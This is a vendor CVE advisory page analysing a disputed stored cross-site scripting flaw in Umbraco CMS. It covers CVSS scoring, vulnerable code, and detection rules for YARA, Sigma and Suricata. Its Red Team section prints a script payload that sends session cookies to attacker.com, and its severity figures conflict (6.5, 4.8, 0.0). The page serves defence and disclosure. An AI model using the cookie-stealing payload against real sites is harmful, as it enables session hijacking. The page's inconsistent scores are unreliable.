☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Umbraco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-55488

CVE-2024-55488 Cross-Site Scripting in Umbraco
📅 PUBLISHED: 2025-01-22 00:00 UTC 🔄 UPDATED: 2026-09-24 05:59 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Denmark License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-55488 describes a stored cross-site scripting (XSS) vulnerability in Umbraco CMS version 14.3.1. The vulnerability allows authenticated users with manual CMS access to inject arbitrary web scripts or HTML via a crafted payload. The vendor disputes this finding, stating that HTML sanitization was deliberately not applied at the product level, as only trusted users are granted access. However, from a defense-in-depth perspective, this still represents a risk if an attacker compromises a legitimate user account or if a malicious insider is present. The CVSS score is 0.0 in the NVD, but our analysis assigns a more realistic score of 4.8 (Medium) due to the requirement for authenticated access and user interaction.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Umbraco CMS is a .NET-based content management system. The vulnerability is in the core product, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are directly involved. However, any custom plugins or extensions that rely on user input without sanitization could amplify the risk.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must be an authenticated user with CMS access.
  • User Interaction (UI): Required (R) – The victim must view the malicious content.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Overall CVSS Score: 4.8 (Medium)

Threat Level: Medium – Exploitation requires authenticated access, but the impact can include session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability exists in Umbraco CMS v14.3.1 where user-supplied input is not sanitized before being stored and later rendered in the browser. An authenticated user can inject malicious JavaScript or HTML into fields such as content editors, comments, or custom properties. When other users (including administrators) view the affected page, the payload executes in their browser context.

The vendor’s position is that since only trusted users are given access, sanitization is unnecessary. However, this ignores the risk of account compromise (e.g., via phishing or credential stuffing) and insider threats. The lack of output encoding or Content Security Policy (CSP) headers exacerbates the risk.

Vulnerable vs. Patched Code

Vulnerable Code (Umbraco CMS v14.3.1):

// Example of unsanitized output in a Razor view
@Html.Raw(Model.Content)

Patched Code (Hypothetical fix):

// Use HTML encoding to prevent XSS
@Html.Encode(Model.Content)

The vendor has not released a patch, as they consider this a design decision. However, a proper fix would involve encoding all user-generated content before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to an Umbraco CMS v14.3.1 instance with an authenticated user account.
  • A field that stores and renders user input (e.g., a rich text editor or custom property).

Exploit Steps:

  1. Log in to the Umbraco CMS backend.
  2. Navigate to a content page or section that allows HTML input.
  3. Inject the following payload into a field (e.g., the body text):
    <script>alert('XSS')</script>
    
  4. Save the content.
  5. When another user views the page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual JavaScript execution in the browser (e.g., via CSP violation reports).
  • Look for unexpected outbound HTTP requests from the CMS backend.
  • Audit user activity logs for suspicious content modifications.

Prevention:

  • Implement a Content Security Policy (CSP) that restricts script execution.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Enforce strict input validation and output encoding at the application level.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from the CMS server.
  • File: Modified content files containing <script> tags or event handlers (e.g., onload, onerror).
  • Log: User activity logs showing injection of HTML/JavaScript in content fields.
  • Browser: Unexpected pop-ups or redirects when viewing CMS pages.

Detection Engineering

YARA Rule

rule umbraco_xss_stored {
    meta:
        description = "Detects stored XSS payloads in Umbraco CMS content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55488"
    strings:
        $script = /<script[^>]*>.*?<\/script>/is
        $event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $script or $event
}

Sigma Rule

title: Stored XSS in Umbraco CMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Umbraco CMS content fields
author: Valters IT
logsource:
    category: web_application
    product: umbraco
detection:
    selection:
        http_method: POST
        url_path: /umbraco/backoffice/*
        body|contains: 
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55488 Stored XSS in Umbraco CMS"; flow:to_server; content:"POST"; http_method; content:"/umbraco/backoffice/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply output encoding to all user-generated content in Umbraco CMS.
  2. Implement a Content Security Policy (CSP) to restrict script execution.
  3. Enable HTTPOnly and Secure flags on session cookies.
  4. Conduct a user access review to ensure only trusted users have CMS access.

Long-Term Fix:

  • The vendor should release an update that includes HTML sanitization as an optional or default feature.
  • Until then, consider using a third-party plugin or custom middleware to sanitize input.

Workarounds:

  • Disable HTML input in content fields where possible.
  • Use a WAF to block common XSS payloads.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-55488/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.